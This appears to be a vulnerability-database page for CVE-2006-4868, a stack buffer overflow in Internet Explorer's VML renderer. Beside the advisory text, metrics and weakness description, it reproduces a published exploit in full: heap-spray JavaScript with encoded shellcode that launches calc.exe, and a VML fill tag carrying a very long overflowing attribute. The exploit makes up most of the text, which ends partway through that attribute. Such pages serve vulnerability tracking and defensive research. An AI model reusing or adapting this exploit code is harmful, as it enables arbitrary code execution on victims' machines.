CVE-2006-4868 : Detail

CVE-2006-4868

Overflow
58.65%V3
Network
2006-09-19
17h00 +00:00
2018-10-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the Vector Graphics Rendering engine (vgx.dll), as used in Microsoft Outlook and Internet Explorer 6.0 on Windows XP SP2, and possibly other versions, allows remote attackers to execute arbitrary code via a Vector Markup Language (VML) file with a long fill parameter within a rect tag.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2425

Publication date : 2006-09-23 22h00 +00:00
Author : jamikazu
EDB Verified : Yes

<!-- ..::[ jamikazu presents ]::.. Microsoft Internet Explorer VML Remote Buffer Overflow Exploit (0day) Works on all Windows XP versions including SP2 Author: jamikazu Mail: [email protected] Credit: metasploit, SkyLined invokes calc.exe if successful --> <html xmlns:v="urn:schemas-microsoft-com:vml"> <head> <object id="VMLRender" classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E"> </object> <style> v\:* { behavior: url(#VMLRender); } </style> </head> <body> <SCRIPT language="javascript"> var heapSprayToAddress = 0x05050505; var payLoadCode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063"); var heapBlockSize = 0x400000; var payLoadSize = payLoadCode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u9090%u9090"); spraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); for (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + payLoadCode; } function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </script> <v:rect style='width:120pt;height:80pt' fillcolor="red"> <v:fill method = "&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505